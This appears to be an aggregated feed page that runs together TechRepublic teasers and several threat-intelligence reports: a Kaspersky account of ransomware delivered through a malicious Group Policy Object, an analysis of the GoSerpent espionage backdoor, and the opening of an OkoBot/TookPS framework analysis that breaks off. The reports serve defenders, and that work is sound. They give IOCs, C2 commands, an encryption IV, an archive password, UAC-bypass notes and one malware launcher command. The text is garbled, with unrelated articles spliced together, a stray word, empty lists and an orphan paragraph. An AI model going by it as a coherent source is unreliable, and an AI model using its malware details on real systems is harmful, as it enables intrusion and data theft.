Hackers are targeting outdated iPhones and Android phones through infected websites to steal passwords and sensitive data. Here's how to protect your device.
The post Hackers Target iPhones and Android Phones: Here’s What We Know appeared first on TechRepublic.
What Happened
In April 2026, we at Kaspersky’s Global Emergency Response Team (GERT) responded to a security incident at a manufacturing organization in the Middle East. The threat actor obtained domain admin-equivalent control of the organization’s Active Directory environment and authored a malicious Group Policy Object (GPO) named PAYLOAD, linking it at the domain root. Through that single object, the actor delivered ransom notes, hijacked the desktop wallpaper and lock screen, enforced a logon banner, and disabled the local administrator account across every domain-joined Windows workstation — all without dropping a ransomware binary or encrypting any data. The only ransomware we found in this incident was PAYLOAD sample targeting ESXi on Linux servers. Besides that, data exfiltration was observed originating from the file servers and several additional systems, and was later published on the dark web.
This case is an example of two converging trends that define the 2026 ransomware landscape:
We confirmed that no files were encrypted on Windows machines, no malicious binaries were resident on disk, no endpoint persistence was established, and no malicious processes were running at the time of analysis. The entire attack lived inside Active Directory itself. The defensive implication is stark: an organization whose detection strategy depends on catching a ransomware executable would have seen nothing until the first endpoint rebooted and the ransom wallpaper appeared.
In this article, we will describe the GPO attack chain and provide operational advice on how to detect such threats, including detailed remediation recommendations.
Attacks through group policies are nothing new. They can inflict significant, domain-wide damage with multiple malicious capabilities. A Group Policy Object (GPO) is essentially a combination of a Group Policy Container (GPC) in Active Directory and a Group Policy Template (GPT) in SYSVOL. The Group Policy scope depends on whether the GPC is linked to the directory tree at the domain, site, or organization unit (OU) level. A link at the domain root means the policy applies to every computer and user object beneath it. Thus, a GPO compromised at the domain root can affect all in-scope domain users and computers, potentially granting an attacker complete control over the corporate network. What makes GPO abuse even more dangerous is that group policies are processed in a trusted, high-privilege environment, ensuring persistence because endpoint cleanup is not enough to remove them.
We have already discussed GPO architecture and ways it can be compromised in greater detail in an earlier blog post. Other public threat intelligence has also repeatedly documented this technique in ransomware operations. Microsoft observed Ryuk operators distributing ransomware through Group Policy, SYSVOL startup items, and PsExec. LockBit affiliates have been documented modifying SYSVOL Group Policy files, including ScheduledTasks.xml, to support ransomware execution and propagation. BlackCat/ALPHV operators have also abused GPOs to create scheduled tasks and deploy ransomware.
Another notable example of GPO abuse is PAYLOAD ransomware, which weaponizes GPO Preferences and policy settings for pure impact rather than as a launcher for an encryptor. Let’s take a closer look at this attack, which is detailed further below.
During the April 2026 investigation, we managed to reconstruct the attack timeline as outlined below:
| Date | Event |
| 11 April | Initial access. Threat actor authenticates to the FortiGate SSL VPN using a valid but compromised domain credential. |
| 13 April | GPO authored. Malicious GPO, PAYLOAD ({C897F2C7-C2AC-4E6F-BF48-58036FF29E79}) created and linked at the domain root, configuring ransom notes, wallpaper, lock screen, logon banner, and administrator account disablement. |
| 13 April | SYSVOL staging. The payload.jpg and hello.txt files written to \\DC.THECOMPANY.local\sysvol\THECOMPANY.local\. |
| 13 April | Second GPO. GPO named win Firewall Off ({22099AD2-E062-4F56-B574-5099BBA4E7A6}) linked at the domain root, disabling Windows Firewall on all profiles. |
| 13 April | Dormancy. GPO cached on endpoints but computer configuration not yet applied — no endpoint had rebooted since the policy update. |
| 13 April | Data exfiltration. Data exfiltration was observed originating from the file servers and several additional systems. |
| 14 April | Detonation. Most of the endpoints begin rebooting; computer configuration policies apply. Ransom wallpaper, logon banner, and notes appear. Operational disruption begins. |
| 15 April | Response. Kaspersky GERT engaged. Forensic triage of affected workstations and the domain controller initiated. |
| 16 April | Assessment. GERT confirms no file encryption, no resident malware, no endpoint persistence. |
Next, we will discuss each of these stages in more detail and share the findings from our incident response activities.
The entry vector was a compromised valid account (MITRE ATT&CK T1078) used to authenticate through the organization’s FortiGate SSL VPN — an external remote service (T1133). Insufficient logging on the FortiGate appliance prevented us from reconstructing how the credential was originally compromised.
Three hypotheses were considered plausible in the context of the attack, in no particular order:
Once on the internal network, the actor operated with the compromised security principal’s privileges. Because the account was able to create and link a GPO at the domain root, it held either domain admin privileges or a delegated equivalent (e.g., membership of Group Policy Creator Owners combined with link rights on the domain object).
FortiGate SSL VPN authentication logs and ESXi/virtualization privilege escalation logs were insufficient to reconstruct the lateral movement and privilege escalation chain between initial VPN access and the GPO write privilege level. The most common real-world routes to GPO control — DCSync, Kerberoasting of privileged service accounts, and Pass-the-Hash/Pass-the-Ticket — could not be confirmed or ruled out.
Rather than deploying an encryptor, the actor abused the victim’s Active Directory policy infrastructure, resulting in malicious GPOs being configured and linked at the domain root to deliver the observed impact across domain-joined systems. The two GPOs below constitute the entire offensive toolkit observed.
We performed a Resultant Set of Policy (RSOP) analysis, which helped us list all policy settings on the affected workstations. From these results, we reconstructed the following changes delivered by PAYLOAD:
| GPO extension/CSE | Setting/path | Configured value/resulting action |
| Files (Group Policy Preference) | Source SYSVOL\hello.txt → Desktop, C:\, D:\ | Dropped as README-payload.txt (ReadOnly) |
| Registry (Computer) | HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticecaption | Welcome to Payload! |
| Registry (Computer) | HKLM\…\Policies\System\legalnoticetext | (ransom demand text) |
| Personalization Policy | Lock Screen Image | \\DC.THECOMPANY.local\sysvol…\payload.jpg |
| Desktop Policy (User) | Wallpaper path | \\DC.THECOMPANY.local\sysvol…\payload.jpg |
| Security Settings (GptTmpl.inf) | Accounts: Administrator account status | Disabled |
The PAYLOAD GPO enabled the following actions:
Entrar
legalnoticecaption value to "Welcome to Payload!" and the legalnoticetext to the ransom note text through the “Group Policy Registry” CSE.This activity was enabled entirely through a legitimate group policy mechanism, meaning there is no malware code for security solutions to look for because the malicious logic is contained within the policy configuration.
A second domain-root-linked GPO, named “win Firewall Off”, disabled Windows Firewall across the domain, private and public profiles on all endpoints (T1562.004). Deployed independently of PAYLOAD, this object degraded host defenses and ensured the actor retained unimpeded network reach to endpoints for any follow-on activity.
Settings changed by win Firewall Off GPO
The most forensically instructive detail is the one-day gap between GPO creation (13 April) and visible impact (14 April). Analysis of Master File Table (MFT) timestamps and the Group Policy History registry key confirmed the policy was written to SYSVOL and cached on endpoints on 13 April. However, computer configuration settings (wallpaper and lock screen machine policy, security settings, firewall disabling) only apply upon reboot or policy refresh — and no endpoint had rebooted in the interim. The attack therefore remained dormant in the GPO cache for one day before detonating en masse when machines were restarted in accordance with standard procedures.
We have to point out here that this delayed policy application is characteristic of GPO-based operations and has two potential consequences for defenders. Firstly, it may grant the actor a quiet window for exfiltration, persistence, or further staging between weaponization and impact. Secondly, it can be used to sever the temporal link between the cause (a GPO-creation event in the directory log) and the effect (mass user-visible disruption occurring at a later time), complicating timeline reconstruction unless directory service auditing is in place.
Initial incident response engagement revealed a number of findings associated with the attack that we share below.
The attack’s persistence mechanism is the GPO link itself on the domain controller, with no endpoint-resident component.
Because no malicious binary or process exists, the detection logic should focus on the directory service and SYSVOL indicators. Below are the highest-value telemetry sources for identifying the described malicious activity.
| Event ID | Meaning | Hunt focus |
| 5137 | A directory service object was created | The account that created new groupPolicyContainer objects must be an authorized GPO administrator |
| 5136 | A directory service object was modified | Changes to gPLink on the domain root or sensitive organizational units; changes to gPCMachineExtensionNames/gPCUserExtensionNames/gPCFileSysPath/versionNumber for all GPOs |
| 5141 | A directory service object was deleted | GPO deletions (relevant for tamper detection and remediation assessment) |
A gPLink modification at the domain root by a non-standard account is one of the most telling indicators of this attack class.
The Windows endpoint attack described in this report was implemented through malicious Group Policy Objects and did not involve a recovered ransomware executable, resident endpoint malware, confirmed file encryption or active malicious processes at the time of the forensic examination. However, PAYLOAD cryptomalware for Windows does exist, and other sources, including public analysis of its samples, reveal further malicious capabilities of this ransomware that could be used by security teams to enrich detection logic and security policies.
The behaviors documented in this section must therefore be interpreted as family-level capabilities identified through the public reverse engineering of PAYLOAD ransomware samples. They were not confirmed as having executed during the GPO-based incident unless corresponding evidence was identified in the host, memory, process, event-log, or hypervisor.
Public reverse engineering of the PAYLOAD Windows variant reveals an optional event log clearing capability (T1685.005, formerly T1070.001). The ransomware dynamically resolves Windows Event Log APIs, enumerates available event log channels, and clears individual channels.
Implementation artifacts include:
Clearing event logs reduces the availability of records related to process execution, authentication, PowerShell, service control, and system changes. However, it does not necessarily remove events that were already forwarded to a SIEM, Windows Event Collector, EDR backend, or protected log archive.
We should note that these indicators can’t be interpreted on their own. For instance, Event ID 1102 should be correlated with a number of aggravating factors, such as:
At the same time, the absence of Event ID 1102 does not prove that log clearing did not occur. Direct deletion, truncation, service impairment, or an incomplete audit configuration may produce different evidence.
PAYLOAD analysis reveals that the Windows ransomware variant contains logic that targets security processes and services (T1685 and T1489). This capability is intended to stop security products, backup software, database services, and applications that may lock files targeted for encryption.
Process and service termination serves several objectives:
Public PAYLOAD sample analysis reports the deletion of Windows Volume Shadow Copies before encryption (T1490). This behavior removes local restore points and reduces the victim’s ability to recover files without external backups.
Recovery inhibition is broader than VSS deletion and may include multiple other malicious techniques, including the following:
In the PAYLOAD Windows sample that is proven to perform encryption, VSS deletion is confirmed to have taken place before encryption. A broader compromise of the backup platform was not established in the investigated incident.
Above, we discussed the techniques specific to PAYLOAD ransomware. In this section, we’ll review other common ransomware techniques, such as BYOVD abuse and ESXi policy weakening, that remain relevant risks in the ransomware ecosystem. However, these techniques should not be attributed to this incident without supporting driver load, process, memory, ESXi, vCenter, or backup platform telemetry. We describe these techniques below as they may prove useful in other ransomware-related forensic investigations.
The examples used in this section are therefore ecosystem-relevant: they are commonly observed in ransomware operations but not conclusively attributed to the analyzed PAYLOAD samples.
Event Tracing for Windows (ETW) is a kernel-supported tracing architecture used by Windows components, diagnostic utilities, security products, and endpoint monitoring systems.
Although we didn’t encounter this technique in our case, some ransomware families can patch ETW-related functions inside the ransomware process (T1685, formerly T1562.001). The reported routine changes the memory protection of code pages, overwrites the beginning of selected ETW functions so they return without producing events, restores the original protection, and refreshes the instruction cache.
Reported target functions include EtwEventWrite, EtwEventWriteFull, EtwEventWriteTransfer, and EtwRegister.
This modification applies to the process-local mapping of ntdll.dll. It does not disable ETW globally across Windows, but it can reduce the telemetry generated by the modified process.
It should be noted that telemetry gaps are not conclusive evidence of ETW patching. Other factors include agent upgrades, network outages, endpoint shutdowns, SIEM ingestion failures, collector backpressure, and filtering or licensing changes.
Memory acquisition is the strongest validation source when process-local ETW patching is suspected.
Bring Your Own Vulnerable Driver (BYOVD) involves introducing or abusing a legitimately signed but vulnerable kernel driver (T1068 and T1685). The attacker exploits the driver’s exposed functionality to gain kernel-level capabilities, modify protected memory, terminate security processes, remove security callbacks, or bypass operating system security controls.
BYOVD is highly relevant to contemporary ransomware operations. However, the reviewed public PAYLOAD analyses do not provide sufficient evidence to conclude that BYOVD is an intrinsic PAYLOAD capability.
It should therefore be presented as an ecosystem-relevant technique rather than a confirmed PAYLOAD feature.
Ransomware operators are increasingly targeting ESXi and vCenter because compromising the virtualization layer provides access to many business-critical virtual machines.
Public research typically describes operators performing the following activities (T1685, T1490 and T1489):
execInstalledOnlyOn the target organization’s Linux servers we saw an ESXi PAYLOAD variant, which makes this behavior operationally relevant. Nevertheless, the reviewed evidence does not indicate that PAYLOAD operators used any of these policy-weakening actions in the investigated incident.
execInstalledOnlyTo contain the described threat and limit possible damage, several remediation steps should be taken. Below, we recommend a four-phase remediation approach for containing this threat and restoring the affected environment.
When dealing with PAYLOAD GPO, the first priority of the remediation plan should be to remove the source GPOs. Until this is done, endpoint cleanup is ineffective because the next policy refresh re-infects cleaned machines.
The immediate domain controller actions to be taken are:
gpupdate /force across endpoints after deletion; re-enable local administrator and firewall via clean policy.gPLink change by a non-standard account.PAYLOAD demonstrates a maturing tactic of turning the victim’s own trusted infrastructure into a weapon. By weaponizing Group Policy, the actor achieved a domain-wide impact without a single malicious binary on any endpoint, evaded file- and process-based detection entirely, and caused organization-wide disruption within seconds of the first reboot.
The absence of encryption is the most strategically significant finding and is consistent with the 2026 trend toward encryptionless extortion. At Kaspersky GERT, we assess with moderate confidence that the missing encryption reflects one of two scenarios: (1) a deliberate decision to stay below the irreversible data destruction threshold while preserving the option of a follow-on encryption phase, or (2) an operation interrupted before full execution.
The absence of encrypted files must not be mistaken for the absence of a serious compromise — the most critical impact lies in the actor gaining domain admin-level control. This incident proves that a threat actor with domain admin access and a working knowledge of group policy internals can inflict domain-wide disruption equivalent to a ransomware attack without writing a single malicious file to any endpoint.
Detection strategies anchored solely in file- or process-based indicators are blind to this attack class. Effective controls include directory service change auditing, SYSVOL integrity monitoring, and privileged access governance, which allow for GPO protection.
Kaspersky security solutions effectively detect the described malicious activity at various stages of the attack. Possible detection scenarios are listed below.
To protect organizations that use our Kaspersky SIEM system, we have prepared a package of correlation rules designed to help detect this type of malicious activity. The rules are now available for customers to download from the SIEM repository; the package name is: [OOTB] Group policy hijacked: PAYLOAD ransomware – ENG.
The “Group policy hijacked: PAYLOAD ransomware” package contains rules that detect suspicious file creation or modification in the SYSVOL shared folder on a domain controller, as well as changes to critical attributes and settings of domain group policies. Some rules may require adjustment if they trigger in response to legitimate activity, such as synchronization between domain controllers or the configuration of a new group policy.
To ensure the detection rules function correctly, verify that events from Windows systems are being received in full, including events with the following identifiers: Sysmon: 11, Security — 4663, 5136, 4657.
We also recommend applying the following rules available in the repository to detect all attack stages.
R050_03_Windows Event Log was clearedR262_Suspicious access to the LSASS processR231_20_Running the Volume Shadow Copy serviceR321_Shadow copy deletionR076_01_Windows Defender Antivirus was disabledR240_03_Disabling system firewall via the registryR281_01_Installation of a service from a non-system folderFor the rules in this list to function correctly, it is necessary to configure Security event auditing for event IDs 4663, 5136, 4657, 7036, and 1102.
In addition to the SIEM system, when audit settings are configured correctly, the process of creating, modifying, and deleting GPOs generates a large number of characteristic artifacts on the domain controller, enabling Kaspersky Endpoint Detection and Response Expert to promptly alert the user to anomalies in the infrastructure.
The creation of a new GPO is covered by the gpo_creation rule, which triggers in response to the corresponding event in the infrastructure. Changes to existing policies are detected by the following rules:
gPCMachineExtensionNames attribute.gPCFileSysPath attribute of a Group Policy Object, which specifies the path to the GPO’s contents in SYSVOL.groupPolicyContainer class.GPO deletion is covered by the gpo_deletion rule.
In the next major version update of Kaspersky EDR Expert, a new event type, GPO, will be introduced, allowing users to track changes to Group Policy Objects.
For information security officers, GPO events will serve as an additional source of context when investigating activity in Active Directory and will help detect changes that could affect the configuration, access rights, and security of endpoints before a potentially malicious policy is deployed.
| Tactic | Technique | Observed behavior |
| Initial Access | T1078 — Valid Accounts | Compromised domain credential used for VPN authentication |
| Initial Access | T1133 — External Remote Services | FortiGate SSL VPN used as entry point |
| Privilege Escalation | T1078.002 — Domain Accounts | Account held domain-level GPO create/link rights |
| Privilege Escalation/Defense Impairment | T1484.001 — Group Policy Modification | Malicious PAYLOAD GPO created and linked at domain root; re-applies on every refresh/reboot; uses trusted channel to evade EDR |
| Defense Impairment | T1686 — Disable or Modify System Firewall | win Firewall Off GPO disables Windows Firewall on all profiles |
| Impact | T1491.001 — Internal Defacement | Wallpaper and lock screen replaced with ransom image |
| Impact | T1531 — Account Access Removal | Local Administrator account disabled via GPO Security Settings |
| Collection | T1005 — Data from Local System | Data exfiltration was observed originating from the file servers |
| Command and Control | T1071 — Application Layer Protocol | No live C2 confirmed; delivery achieved entirely via GPO |
GPOs
PAYLOAD ransomware GPO: {C897F2C7-C2AC-4E6F-BF48-58036FF29E79}
win Firewall Off GPO: {22099AD2-E062-4F56-B574-5099BBA4E7A6}
File names and MD5 hashes
payload.jpg: Ransom wallpaper and lock screen image (SYSVOL)
hello.txt: Ransom note source (SYSVOL)
README-payload.txt: Ransom note dropped to desktops and drive roots
killer.exe (0108656A3E1ADE6CA4F21B084F5E1208): process killer tool
kill.exe (BEA5E267F24D7DA59F6821BFFDBFF293): process killer tool
IP addresses
37.19.210[.]12
146.70.117[.]239
149.102.229[.]154
104.164.55[.]46
104.28.162[.]228
104.28.163[.]162
64.190.76[.]14
192.42.116[.]50
192.42.116[.]12
192.42.116[.]56
192.42.116[.]97
192.42.116[.]52
Registry keys
HKLM\...\Policies\System\legalnoticecaption = Welcome to Payload!
SYSVOL path
\\DC.THECOMPANY.local\sysvol\THECOMPANY.local\payload.jpg
Event IDs
5137: GPO object creation on DC — review creator account
5136: GPO attribute modification — watch gPLink at domain root
.ENCRT extension for encrypted files. A documented sample from July 2025 used the .CRYPT extension. The ransomware also uses Windows Management Instrumentation to delete volume shadow copies before encryption, while one victim had backup and archived data deleted from both primary and disaster recovery infrastructure.
Coca-Cola has confirmed data was stolen in the ransomware attack on Fairlife after the Anubis gang published allegedly stolen files, escalating the incident.
The post Coca-Cola Confirms Data Theft as Fairlife Ransomware Attack Escalates appeared first on TechRepublic.
Healthcare software vendor Craneware confirmed attackers stole data during a cyberattack, underscoring growing cybersecurity risks facing healthcare suppliers.
The post Craneware Confirms Data Theft After Cyberattack, Investigations Underway appeared first on TechRepublic.
In February 2026, we discovered a set of malicious activities that had been ongoing since late 2025. These activities involved a RAT module written in Go with proxy capabilities, which served as the main stage of the attack. The attack targeted government and diplomatic entities in Southeast Asia and showed a level of sophistication that caught our attention.
During the attack, the main malware, dubbed GoSerpent, received an encrypted argument and started communicating with a remote server. It was also used to deploy further malicious tools to collect sensitive data and dump credentials on the system.
Monitoring the activities of this threat actor revealed that in May 2026, they came back with an evolved set of malicious tools: a new RAT and proxy tool, Stowaway, which resembled the initial malware, as well as an additional stealthy tool to exfiltrate sensitive data collected in the previous few months through network shares.
We found earlier versions of the GoSerpent backdoor used since 2021 against victims in Southeast Asia with relatively simpler code that received command-line arguments in plain text. Even though the newer variant is stealthier, the attackers continued using the simpler version alongside the latest one in their recent attacks.
What makes this threat particularly concerning is the strategic deployment of various tools with sophisticated data collection and exfiltration capabilities.
In this article, we introduce the malicious tools uncovered by us, which have been used since late 2025.
The initial phase of the attacks involved deployment of the GoSerpent backdoor, followed by additional malicious tools. During this phase, the main goal was to collect sensitive files and store them for future exfiltration, which was done by a data collecting tool, ThumbcacheService. The attackers also needed system credentials to exfiltrate the collected data through network drives at a later stage. This was achieved through a number of credential dumping tools deployed in this phase via the GoSerpent backdoor.
The primary weapon in this campaign is the GoSerpent backdoor, a sophisticated Go-based remote access Trojan that has been active since at least 2021, with the most recent variant deployed in 2026.
This malware receives encrypted and base64-encoded command-line arguments containing a C2 server address and communication password, which are decrypted using AES-CBC mode with a fixed IV (31323334353637383930616263646566) and keys derived from predefined strings.
The backdoor connects to command-and-control servers using ChaCha20 encryption for communications, with the SHA256 hash of the communication password serving as the encryption key.
GoSerpent supports multiple C2 commands by receiving special command values. The commands include the following:
| Command | Symbol (as derived from corresponding function names) | Description |
| 2BA1 | Sync | Respond to the server to show the infection is active |
| 3BA2 | Exit | Exit process |
| 4BA3 | Ls | Start listening on a port |
| 5BA4 | Connect | Connect to a remote server |
| 6BA5 | Hello | Create a shell on the infected machine |
| 7BA6 | Ul | Upload a file or directory to the server |
| 8BA7 | Dl | Download from the server |
| 9BA8 | Ss5 | Start a SOCKS5 proxy on the infected machine |
| ABA9 | Cl | Close a listening port |
| CBAB | RF | Forward to a connected node |
GoSerpent can establish SOCKS5 proxy servers to route traffic through compromised hosts, enabling attackers to access other networks while masking their true IP addresses. The backdoor is capable of deploying additional malicious tools, including ThumbcacheService for file collection, Mimikatz for credential dumping, and QuarksDumpLocalHash for local account password hash extraction. The malware exhibits strong persistence mechanisms and uses filenames that mimic legitimate system processes such as lass.exe and updates.exe to evade detection.
McMx is a basic Go-based proxy and remote access tool that represents a simpler variant of the GoSerpent backdoor, apparently compiled from a different GitHub repository path.
Unlike the latest variant of GoSerpent, which uses encrypted command-line arguments, McMx receives input parameters from text files in plaintext format — in a way that resembles older versions of GoSerpent. The malware features similar function names with apparent typos present in both tools.
Before executing McMx, attackers manipulate batch files to generate configuration files containing C2 parameters. The patterns observed show the use of echo commands to create configuration files with parameters like remote host addresses, ports, and secret keys. The McMx malware is then deployed with this configuration.
The tool shares core functionalities with GoSerpent, including:
Following initial deployment of the GoSerpent backdoor, attackers typically wait several days before utilizing it to download and execute additional malware components for data collection and credential dumping.
ThumbcacheService is a malicious DLL deployed as a Windows service that functions as a sophisticated file collection mechanism within the GoSerpent ecosystem. The malware employs XOR encryption with a single-byte key of 0x13 for string obfuscation. It decrypts embedded strings and creates a database file named thumbcache_605a.db in the C:\Users\Public\ directory to store collected sensitive files. It specifically targets documents with the following extensions: .doc, .docx, .pdf, .xls and .xlsx.
The targeted files are then archived using 7-Zip and protected with a predefined password @vx0a9n5W2M0c3D6.#, enforcing a 20MB size limit for archives.
The malicious service also monitors the $Recycle.Bin directory for deleted files with the extensions of interest, ensuring comprehensive data collection.
The threat actor deploys the following tools via GoSerpent backdoor to dump credentials:
These tools work together to maximize information extraction from compromised systems. The stolen credentials were used in later stages of the attack to facilitate the exfiltration of sensitive files collected by ThumbcacheService.
After the initial phase of the malware deployments, the attackers allowed a few weeks for the ThumbcacheService to silently collect sensitive files without exfiltrating them. In the meantime, the credential dumping tools also continued to steal credentials. In May 2026, the threat actor came back with a set of new tools. The main malware of this round of activity was another Go-based RAT and proxy tool, Stowaway. It was used to deploy the two-stage data exfiltration tool TmcLoader/TmcPayload, which was the last piece of the data theft puzzle.
Stowaway is a proxy and remote access tool compiled from an open-source framework with customized functions to make the infection stealthier. This malware features both network admin and agent capabilities, enabling attackers to establish chained proxy paths across multiple hosts with the following functionalities:
Communications are transported over TCP, HTTP, or WebSocket channels protected by AES-256-GCM or TLS encryption.
As the next step, the attackers deliver two files to the victim machine via Stowaway:
{BBF061R2-BE25-4F6D-8B2D-1A6A39C3FSA2}.db — an encrypted configuration fileTmcLoader is a stealthy C++ loader module registered as a Windows service. The malware embeds an encrypted payload dubbed TmcPayload within its .data section, which is decrypted and loaded into the memory space of the svchost process to maintain persistence and avoid detection.
TmcLoader employs dynamic API resolution through a circular XOR encryption, where each byte is XORed with the value of the subsequent byte, combined with Base64 encoding for string obfuscation to hide API names.
The loader creates a unique event to prevent multiple infections on the same system. After that, it extracts and decrypts the embedded TmcPayload. This payload component is responsible for exfiltrating sensitive data from the victim’s machine.
TmcPayload generates a file path from an obfuscated string: C:\Users\Public\Libraries\{BBF061R2-BE25-4F6D-8B2D-1A6A39C3FSA2}.db.
It then checks for the existence of this configuration file. If the file doesn’t exist, it delays execution for a random period of time before rechecking. The configuration file contains encrypted network share credentials and destination paths for data exfiltration. It specifically references the thumbcache_605a.db file created by ThumbcacheService as the file to be exfiltrated, demonstrating the integrated nature of the attack chain.
What distinguishes this threat actor’s approach is the deliberate integration between different components of their toolset. The chain from ThumbcacheService to TmcLoader/TmcPayload demonstrates sophisticated operational planning:
thumbcache_605a.db database file.thumbcache_605a.db.This integration shows that the threat actor has carefully orchestrated their tools to work together seamlessly, ensuring that data collected by one component is available for exfiltration by another component.
The malware operators leverage legitimate hosting providers, including Alibaba Cloud and UCLOUD HK, for their command-and-control infrastructure. The use of legitimate hosting platforms demonstrates operational security awareness, making detection more challenging.
The technical similarities between GoSerpent and the newer Stowaway tools strongly suggest the threat actor’s deep familiarity with network proxy technologies. The consistent use of legitimate domain names as secret keys, with GoSerpent employing www.microsoft.com and www.spacex.com and Stowaway utilizing github.code, indicates a standardized operational methodology.
While the exact attribution of the GoSerpent campaign remains uncertain, there are indications of a potential link to the TetrisPhantom threat actor. The similarities in victim targeting, technical capabilities, and operational methodologies suggest a possible connection. However, further investigation is necessary to confirm this association.
The GoSerpent campaign represents a sophisticated and evolving threat to government and diplomatic entities in Southeast Asia. The threat actor’s use of customized tools, such as the GoSerpent backdoor, Stowaway, and TmcLoader, demonstrates a high degree of technical expertise and operational planning. The integration of these tools to collect and exfiltrate sensitive data highlights the actor’s focus on long-term access and intelligence gathering. As the threat landscape continues to shift, it is essential for organizations to remain vigilant and implement robust security measures to detect and prevent such attacks. By understanding the tactics, techniques, and procedures (TTPs) employed by this threat actor, defenders can better prepare themselves to counter similar threats in the future.
GoSerpent
EBFFD5A76AAA690BCDB922F82E0BACC5
DC506FF7BB72735444FB3703A6BEE6D8
McMx
D6E86BF8A90E9B632ADD5FA495F97FBC
ThumbcacheService
CB6C4C70A3B171FA3404B8E1A3382116
64E9D1950E42BC98486DFD9919463D1C
Stowaway
CBBB6D483737EA3566726E51752DFF40
7F223EE0716CE2AD56F55D3744419449
19F8BEFCB035F52BF70094E6B4F5779A
846EF7C1C7323849B2A778C5E4CDA162
TmcLoader
D08A059E8B815E3B891505BC8777FC28
93A1569D5D5AB2C4761FEDF84F83709E
152.32.160[.]239
8.220.194[.]108
8.220.214[.]132
8.220.209[.]155
8.220.193[.]189
101.36.104[.]87
144.48.6[.]46
103.138.13[.]30
47.80.22[.]58
152.32.222[.]113
43.106.30[.]226
In January 2026, we identified multiple attacks involving unknown malware that captures the contents of cryptocurrency wallet windows. During the investigation, we reconstructed the complete infection chain, which consisted of four tightly linked stages initiated by the execution of the previously described malicious PowerShell script TookPS. However, this campaign differs from previous activity in that it uses a new framework to deliver all malicious modules and orchestrate them via an SSH tunnel. In total, the framework includes more than 20 malicious payloads and implants, covering a wide variety of functions. At the time of writing, the threat remains active.
Kaspersky’s products detect this threat as Trojan-Downloader.Win32.TookPS.*, Trojan.Win64.BypassUAC.*, Trojan-Banker.Script.Agent.gen, Trojan.Win32.Dllhijack.*, Backdoor.Win32.TeviRat.*, Trojan-PSW.Win64.Stealer.*, Trojan-Spy.Win64.Keylogger.*, Trojan-Spy.Win64.Agent.*, Trojan.Win64.Agent.*.
TookPS is a downloader used for retrieving malicious commands and scripts from attacker-controlled servers to further propagate attacks. The first campaign using TookPS was discovered in March 2025. At that time, malicious scripts delivered a Python‑based infostealer along with a script that installed and configured an SSH tunnel on the victim’s machine. The next wave appeared in April 2025: the payload was changed, and TookPS was used to deliver the TeviRAT malware with the same SSH installer.
Then at the end of April 2025, TookPS underwent minor changes, yet its attack chain was completely redesigned. Unlike previous incidents, in this case, TookPS was used solely for the initial infection, with an automated SSH bot responsible for payload delivery. This new malicious campaign has multiple stages that cover the full attack lifecycle, from initial infection to persistence and data exfiltration. Among various malware strains, at one of the stages, the TeviRAT backdoor is delivered to the compromised host, ultimately fetching another version of a TookPS script.
We dubbed this updated TookPS campaign “OkoBot”.
Original OkoBot infection chain
We will break down this chain in greater detail later in the article. However, this is not the only version of OkoBot we were able to find. Already in March 2026, we discovered a new phase in the development of the framework, with Volume2 now being installed directly using TookPS. The HDUtil launcher → extl injector → Rilide chain was found to be abandoned in this newer version since it was replaced in full by the identical ext_daemon Volume2 plugin. TeviRAT was also removed, most likely because its functions were covered by the new plugins dispatcher.
New OkoBot infection chain
The initial infection is primarily delivered through two vectors: a ClickFix attack, and malware distributed through GitHub that masquerades as legitimate software. One such example is the fake SQL Server Management Studio (SSMS) package distributed through GitHub. In fact, it is actually the legitimate Audacity — a popular audio editor — compiled with a malicious implant embedded in one of its libraries. Because the repository was indexed by most search engines and appeared at the top of the results for the query SSMS, the malware looked legitimate and quickly earned users’ trust.
Malicious application distribution report
This repository was created at the end of March 2025 and existed until June of that year. It consisted of a single file, README.md, which provided a fake SSMS installation guide written in an official style and likely derived from excerpts of Microsoft’s documentation. However, the download link for the program, located at the beginning of the guide, pointed to the latest release in the same repository.
Both infection vectors trigger the execution of the malicious script TookPS, which installs SSH on the victim’s system, establishes a connection to the attacker-controlled SSH server and subsequently forwards the SSH daemon port. Following a delay, an automated SSH bot connects to the forwarded port.
The automated SSH bot collects system information such as usernames, antivirus software installed, the IP address, and OS version. It harvests cryptocurrency wallet files, browser cookies, profiles, and other credentials through an SSH tunnel. For subsequent delivery of malicious modules, it disables Windows Defender notifications via a registry modification. Moreover, it gains access to the graphical session on the victim’s system using the following sequence:
termsrv.dll with a patched one to permit multiple concurrent RDP sessionsApple Sync to maintain a reverse SSH tunnel that forwards the local RDP port every hourAfter that, the SSH bot begins retrieving malicious modules over SFTP.
One of the deployed modules is HDUtil, an auxiliary utility protected with VMProtect and heavily obfuscated. This launcher is used by the SSH bot during an attack to deploy various malicious modules via the target command. Additionally, it implements three auxiliary commands that were not observed during the attacks we analyzed. Nevertheless, their presence and potential capabilities further demonstrate the high degree of integration among all components of the framework.
At startup, the launcher verifies its execution environment by checking the HWID in the contents of %PROGRAMDATA%\hwid.dat, a technique consistently employed throughout the framework. If the file is missing or contains invalid data, such as a non‑MD5 hash, the launcher terminates without performing any further actions. Otherwise, the specified commands are executed. For example, enumsessions provides a list of sessions along with detailed information, including the session type (Console, Services, RDP, and others), username, connection host, and domain. In turn, enumadapters returns the names of all graphics adapters present on the system.
Example output of HDUtil enumeration commands
The most important command of the launcher is target, which enables payload execution on the system. An optional nouac argument enables automatic UAC bypassing via Windows RPC and an auto-elevated msconfig.exe program, allowing the payload to run with elevated privileges stealthily. This technique has been known for a long time, discovered and described in 2019 by the Project Zero team, who provided a full report with a detailed technical description.
Below is the list of all HDUtil commands.
| Command | Description |
| target [nouac [user=<user>]] [noattach] <file> | Starts file and prints its output. If optional argument noattach passed, command to be executed in background. If optional argument nouac passed, automatic UAC bypass to be performed. If optional argument user passed, new process to be executed under , otherwise default local administrator to be chosen. |
| pcopy <file> <dir_src> <dir_dst> | Copies file <file> located in <dir_src> to <dir_dst>. Not used by SSH bot. |
| enumadapters | Prints names of graphical adapters on current system. Not used by SSH bot. |
| enumsessions | Prints all sessions on current system. Not used by SSH bot. |
The first malicious module delivered to the infected system via SFTP is executed using the previously described launcher with the command .\HDUtil.exe target extl.exe. It is a heavily obfuscated DLL injector protected with VMProtect. At startup, the module enters an infinite loop and uses the EnumWindows and IsWindowVisible API methods to enumerate the PIDs of active windows and retrieve the corresponding executable filenames. For processes associated with widely used Chromium‑based browsers, the module invokes a routine that injects a specialized implant.
